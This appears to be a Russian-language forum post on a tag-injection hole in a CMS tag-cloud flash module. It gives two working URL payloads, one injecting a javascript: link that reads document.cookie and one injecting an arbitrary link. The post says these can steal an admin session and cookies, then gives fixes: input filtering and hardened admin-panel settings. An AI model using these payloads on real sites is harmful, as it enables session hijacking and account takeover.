обнаружена очередная уязвимость в популярной CMS.
Воспользуемся недостаточной фильтрацией в модуле "Теги".
Использование уязвимости: У нас два варианта,
Первый, по HTML, второй через XSS.
Да, дырка настолько большая что и простой html отрабатывает так как нам нужно.
вход на сайт XSS: Code
http://сайт.ру/engine/classes/tagcloud/tagcloud.swf?mode=tags&tagcloud=<tags><a+href='javascript:alert(document.cookie)'+style='font-size:+50pt'>Click me</a></tags>
вход на сайт простым HTML: Code
http://сайт.ру/engine/classes/tagcloud/tagcloud.swf?mode=tags&tagcloud=<tags><a+href='http://ssfera.ru'+style='font-size:+40pt'>Click me</a></tags>
С помощью данного метода мы можем получить сессию админа, вытащить куки, успешно залогиньться и сотворить бяку противнику.
Пути решения проблемы: Вариант от -=BlackSmoke=- : Code
заинглудь в файл класс парсинга входящих данных(parse.class.php) и с помощью него сделай фильтрацию. Что-то типа
$tags = $db->safesql( htmlspecialchars( strip_tags( stripslashes( trim( $_GET['tagcloud'] ) ) ), ENT_QUOTES ) );
Топорный метод от xex: Code
а еще можно и нужно в настройках админки иметь такой расклад:
Метод авторизации в админпанели = Расширенный метод
+ для надежности и большей параноидальности
Контроль изменения IP адреса = Высокий уровень
Сбрасывать ключ авторизации при каждом входе? = Да
(ну и надеюсь админка не [b]admin.php[/b] называется + я себе даже в [b].htaccess[/b] админку разрешил только с одного ИП )
[b]и кража кук будет бесполезна[/b]